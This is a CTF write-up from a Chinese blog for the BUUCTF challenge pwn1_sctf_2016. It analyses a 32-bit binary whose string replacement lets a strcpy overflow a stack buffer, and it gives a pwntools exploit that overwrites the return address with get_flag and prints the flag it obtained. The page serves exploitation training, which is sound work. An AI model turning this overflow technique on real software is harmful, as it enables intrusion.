• BUUCTF-PWN爬坑-04-pwn1_sctf_2016


    pwn1_sctf_2016

    file

    root@kali:~/Downloads# file pwn1_sctf_2016 
    pwn1_sctf_2016: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=4b1df4d30f1d6b75666c64bed078473a4ad8e799, not stripped
    

    checksec

    root@kali:~/Downloads# checksec pwn1_sctf_2016 
    [*] '/root/Downloads/pwn1_sctf_2016'
        Arch:     i386-32-little
        RELRO:    Partial RELRO
        Stack:    No canary found
        NX:       NX enabled #//栈不可执行
        PIE:      No PIE
    

    IDA

    int __cdecl main(int argc, const char **argv, const char **envp)
    {
      vuln();
      return 0;
    }
    
    int vuln()
    {
      const char *v0; // eax
      char s; // [esp+1Ch] [ebp-3Ch]
      char v3; // [esp+3Ch] [ebp-1Ch]
      char v4; // [esp+40h] [ebp-18h]
      char v5; // [esp+47h] [ebp-11h]
      char v6; // [esp+48h] [ebp-10h]
      char v7; // [esp+4Fh] [ebp-9h]
    
      printf("Tell me something about yourself: ");
      fgets(&s, 32, edata);  //输入限制32个字符
      std::string::operator=(&input, &s);
      std::allocator<char>::allocator(&v5);
      std::string::string(&v4, "you", &v5);
      std::allocator<char>::allocator(&v7);
      std::string::string(&v6, "I", &v7);
      replace((std::string *)&v3);
      std::string::operator=(&input, &v3, &v6, &v4); // I 替换you
      std::string::~string((std::string *)&v3);
      std::string::~string((std::string *)&v6);
      std::allocator<char>::~allocator(&v7);
      std::string::~string((std::string *)&v4);
      std::allocator<char>::~allocator(&v5);
      v0 = (const char *)std::string::c_str((std::string *)&input);
      strcpy(&s, v0);
      return printf("So, %s
    ", &s);
    }
    int get_flag()
    {
      return system("cat flag.txt");
    }
    
    char s; // [esp+1Ch] [ebp-3Ch] #s:60个字符大小
    v0 = (const char *)std::string::c_str((std::string *)&input); 
    strcpy(&s, v0); //溢出区域
    
    #get_flag	.text	08048F0D	00000014	0000001C	00000000	R	.	.	.	B	.	.
    
    from pwn import *
    
    ip='node3.buuoj.cn'
    port=26973
    p = remote(ip,port)
    
    bin_sh =0x08048F0D
    
    payload = 20*b'I' + 4*b'b'+ p32(bin_sh)
    
    p.sendline(payload)
    p.interactive()
    
    root@kali:~/Downloads# python3 pwn1_sctf_2016_exp.py 
    [+] Opening connection to node3.buuoj.cn on port 26973: Done
    [*] Switching to interactive mode
    flag{4068ba06-f18b-4da9-b56a-70d655103e28}
    timeout: the monitored command dumped core
    [*] Got EOF while reading in interactive
    $ ls
    
  • 相关阅读:
    TP5之自定义分页样式
    使用ajax方法实现form表单的提交
    H5页面唤起手机拨打电话(拨号)
    php开启openssl扩展
    tp5 加载 extend 类库的方法 (有命名空间和没有命名空间的调用)【转】
    PHP 返回13位时间戳
    thinkphp5 view_path 配置,进行模板分离
    html2canvas 截图不完整 图片缺失问题
    PHP把JSON转换成数组
    tp5怎么隐藏默认模块名啊
  • 原文地址:https://www.cnblogs.com/moke-cn/p/14329959.html
Copyright © 2020-2023  润新知